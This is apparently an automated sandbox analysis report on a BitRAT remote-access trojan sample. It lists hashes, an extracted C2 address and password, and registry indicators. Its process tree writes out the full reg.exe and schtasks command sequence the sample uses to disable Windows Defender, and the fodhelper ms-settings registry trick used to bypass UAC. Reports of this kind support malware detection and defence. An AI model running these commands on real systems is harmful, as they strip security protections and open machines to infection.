Analysis
-
max time kernel
120s -
max time network
123s -
platform
windows10-1703_x64 -
resource
win10-20220718-en -
resource tags
arch:x64arch:x86image:win10-20220718-enlocale:en-usos:windows10-1703-x64system -
submitted
02-08-2022 17:32
General
-
Target
707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe
-
Size
1.4MB
-
MD5
44e041dc2e445fcd33cc89b8453d0539
-
SHA1
99faf5ac243f30d7041e7018f41490023b552f60
-
SHA256
707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad
-
SHA512
893019fd4b969250464a551bdeb0fc050da5bc82f1680b5ef116e8cc43b2e0b4088ec351f91d0d4b379ffd61fb32a02a34ea11fb94ca35fc4ed064dda021bf18
Malware Config
Extracted
bitrat
1.38
trotox.duckdns.org:55441
-
communication_password
4b49ee1f55b1900518dfb23fd2d7c702
-
tor_process
tor
Signatures
-
Processes:
reg.exereg.exereg.exereg.exereg.exeConhost.exereg.exereg.exereg.exereg.exereg.exereg.exeConhost.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exedescription ioc process Key deleted \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1" reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection Conhost.exe Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection Conhost.exe Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1" Conhost.exe Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1" Conhost.exe Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1" reg.exe -
Modifies security service 2 TTPs 4 IoCs
Processes:
reg.exereg.exereg.exereg.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4" reg.exe Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4" reg.exe Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4" reg.exe Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4" reg.exe -
Processes:
resource yara_rule behavioral1/memory/3756-130-0x0000000000400000-0x00000000007E4000-memory.dmp upx behavioral1/memory/3756-215-0x0000000000400000-0x00000000007E4000-memory.dmp upx behavioral1/memory/3320-251-0x0000000000400000-0x00000000007E4000-memory.dmp upx behavioral1/memory/3340-254-0x0000000000400000-0x00000000007E4000-memory.dmp upx behavioral1/memory/3320-813-0x0000000000400000-0x00000000007E4000-memory.dmp upx behavioral1/memory/5588-999-0x0000000000400000-0x00000000007E4000-memory.dmp upx behavioral1/memory/3340-1049-0x0000000000400000-0x00000000007E4000-memory.dmp upx behavioral1/memory/3320-1047-0x0000000000400000-0x00000000007E4000-memory.dmp upx behavioral1/memory/3340-841-0x0000000000400000-0x00000000007E4000-memory.dmp upx behavioral1/memory/5588-1957-0x0000000000400000-0x00000000007E4000-memory.dmp upx behavioral1/memory/5588-2016-0x0000000000400000-0x00000000007E4000-memory.dmp upx behavioral1/memory/3756-2017-0x0000000000400000-0x00000000007E4000-memory.dmp upx -
Suspicious use of NtSetInformationThreadHideFromDebugger 6 IoCs
Processes:
707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exepid process 3756 707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe 3756 707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe 3756 707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe 3756 707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe 3756 707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe 5588 707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe -
Drops file in Windows directory 2 IoCs
Processes:
fodhelper.exedescription ioc process File created C:\Windows\rescache\_merged\2717123927\3950266016.pri File created C:\Windows\rescache\_merged\2717123927\3950266016.pri fodhelper.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Modifies registry class 15 IoCs
Processes:
707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exereg.exereg.exereg.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-2848962218-3794400400-3934119819-1000_Classes\ms-settings\shell 707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe Set value (str) \REGISTRY\USER\S-1-5-21-2848962218-3794400400-3934119819-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe -prs 3756ᴀ" 707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe Key created \REGISTRY\USER\S-1-5-21-2848962218-3794400400-3934119819-1000_Classes\ms-settings\shell\open 707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe Key deleted \REGISTRY\USER\S-1-5-21-2848962218-3794400400-3934119819-1000_Classes\ms-settings\shell\open\command 707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe Key deleted \REGISTRY\USER\S-1-5-21-2848962218-3794400400-3934119819-1000_Classes\ms-settings 707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Directory\shellex\ContextMenuHandlers\EPP reg.exe Key created \REGISTRY\USER\S-1-5-21-2848962218-3794400400-3934119819-1000_Classes\ms-settings\shell\open\command 707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe Set value (str) \REGISTRY\USER\S-1-5-21-2848962218-3794400400-3934119819-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe -uac 3756刀" 707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe Set value (str) \REGISTRY\USER\S-1-5-21-2848962218-3794400400-3934119819-1000_Classes\ms-settings\shell\open\command\DelegateExecute 707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe Key deleted \REGISTRY\USER\S-1-5-21-2848962218-3794400400-3934119819-1000_Classes\ms-settings\shell 707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe Key created \REGISTRY\USER\S-1-5-21-2848962218-3794400400-3934119819-1000_Classes\ms-settings 707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe Set value (str) \REGISTRY\USER\S-1-5-21-2848962218-3794400400-3934119819-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe -wdkillꨀ" 707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe Key deleted \REGISTRY\USER\S-1-5-21-2848962218-3794400400-3934119819-1000_Classes\ms-settings\shell\open 707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\*\shellex\ContextMenuHandlers\EPP reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Drive\shellex\ContextMenuHandlers\EPP reg.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exedescription pid process Token: SeShutdownPrivilege 3756 707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe Token: SeDebugPrivilege 5588 707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe Token: SeShutdownPrivilege 5588 707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
Processes:
707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exepid process 3756 707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe 3756 707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exefodhelper.exe707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exedescription pid process target process PID 3756 wrote to memory of 920 3756 707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe fodhelper.exe PID 3756 wrote to memory of 920 3756 707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe fodhelper.exe PID 3756 wrote to memory of 1868 3756 707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe fodhelper.exe PID 3756 wrote to memory of 1868 3756 707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe fodhelper.exe PID 1868 wrote to memory of 3320 1868 707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe PID 1868 wrote to memory of 3320 1868 707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe PID 1868 wrote to memory of 3320 1868 707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe PID 920 wrote to memory of 3340 920 fodhelper.exe 707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe PID 920 wrote to memory of 3340 920 fodhelper.exe 707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe PID 920 wrote to memory of 3340 920 fodhelper.exe 707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe PID 3340 wrote to memory of 3804 3340 707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe reg.exe PID 3340 wrote to memory of 3804 3340 707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe reg.exe PID 3340 wrote to memory of 3804 3340 707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe reg.exe PID 3340 wrote to memory of 1308 3340 707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe reg.exe PID 3340 wrote to memory of 1308 3340 707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe reg.exe PID 3340 wrote to memory of 1308 3340 707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe reg.exe PID 3340 wrote to memory of 2228 3340 707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe reg.exe PID 3340 wrote to memory of 2228 3340 707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe reg.exe PID 3340 wrote to memory of 2228 3340 707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe reg.exe PID 3320 wrote to memory of 3740 3320 707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe Conhost.exe PID 3320 wrote to memory of 3740 3320 707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe Conhost.exe PID 3320 wrote to memory of 3740 3320 707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe Conhost.exe PID 3340 wrote to memory of 2432 3340 707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe reg.exe PID 3340 wrote to memory of 2432 3340 707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe reg.exe PID 3340 wrote to memory of 2432 3340 707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe reg.exe PID 3320 wrote to memory of 396 3320 707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe schtasks.exe PID 3320 wrote to memory of 396 3320 707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe schtasks.exe PID 3320 wrote to memory of 396 3320 707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe schtasks.exe PID 3340 wrote to memory of 3720 3340 707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe reg.exe PID 3340 wrote to memory of 3720 3340 707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe reg.exe PID 3340 wrote to memory of 3720 3340 707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe reg.exe PID 3320 wrote to memory of 1028 3320 707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe reg.exe PID 3320 wrote to memory of 1028 3320 707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe reg.exe PID 3320 wrote to memory of 1028 3320 707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe reg.exe PID 3340 wrote to memory of 1616 3340 707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe reg.exe PID 3340 wrote to memory of 1616 3340 707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe reg.exe PID 3340 wrote to memory of 1616 3340 707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe reg.exe PID 3320 wrote to memory of 496 3320 707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe reg.exe PID 3320 wrote to memory of 496 3320 707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe reg.exe PID 3320 wrote to memory of 496 3320 707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe reg.exe PID 3340 wrote to memory of 2024 3340 707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe reg.exe PID 3340 wrote to memory of 2024 3340 707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe reg.exe PID 3340 wrote to memory of 2024 3340 707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe reg.exe PID 3320 wrote to memory of 3384 3320 707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe reg.exe PID 3320 wrote to memory of 3384 3320 707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe reg.exe PID 3320 wrote to memory of 3384 3320 707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe reg.exe PID 3340 wrote to memory of 1520 3340 707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe reg.exe PID 3340 wrote to memory of 1520 3340 707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe reg.exe PID 3340 wrote to memory of 1520 3340 707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe reg.exe PID 3320 wrote to memory of 3512 3320 707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe reg.exe PID 3320 wrote to memory of 3512 3320 707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe reg.exe PID 3320 wrote to memory of 3512 3320 707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe reg.exe PID 3340 wrote to memory of 1120 3340 707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe reg.exe PID 3340 wrote to memory of 1120 3340 707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe reg.exe PID 3340 wrote to memory of 1120 3340 707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe reg.exe PID 3320 wrote to memory of 3304 3320 707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe reg.exe PID 3320 wrote to memory of 3304 3320 707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe reg.exe PID 3320 wrote to memory of 3304 3320 707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe reg.exe PID 3340 wrote to memory of 3780 3340 707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe reg.exe PID 3340 wrote to memory of 3780 3340 707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe reg.exe PID 3340 wrote to memory of 3780 3340 707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe reg.exe PID 3320 wrote to memory of 4028 3320 707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe Conhost.exe PID 3320 wrote to memory of 4028 3320 707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe Conhost.exe PID 3320 wrote to memory of 4028 3320 707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe Conhost.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe"C:\Users\Admin\AppData\Local\Temp\707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe"1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe"C:\Users\Admin\AppData\Local\Temp\707ce4ec41a0a919739998e1260e50eb8eca2808ee69df64b07a5e985d1068ad.exe" -wdkill3⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Microsoft\Windows Defender\Features" /v "TamperProtection" /t REG_DWORD /d "0" /f4⤵
-
C:\Windows\SysWOW64\reg.exereg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f4⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f4⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f4⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f4⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f4⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f4⤵
- Modifies Windows Defender Real-time Protection settings
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f4⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f4⤵
- Modifies Windows Defender Real-time Protection settings
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f4⤵
- Modifies Windows Defender Real-time Protection settings
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f4⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" / t REG_DWORD /d "0" /f4⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable4⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f4⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f4⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f4⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f4⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable4⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable4⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable4⤵
-
C:\Windows\SysWOW64\reg.exereg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f4⤵
-
C:\Windows\SysWOW64\reg.exereg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f4⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable4⤵
-
C:\Windows\SysWOW64\reg.exereg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f4⤵
-
C:\Windows\SysWOW64\reg.exereg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f4⤵
-
C:\Windows\SysWOW64\reg.exereg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f4⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f4⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f4⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f4⤵
- Modifies security service
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f4⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f4⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f4⤵
- Modifies security service
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f4⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f4⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f4⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f4⤵
-
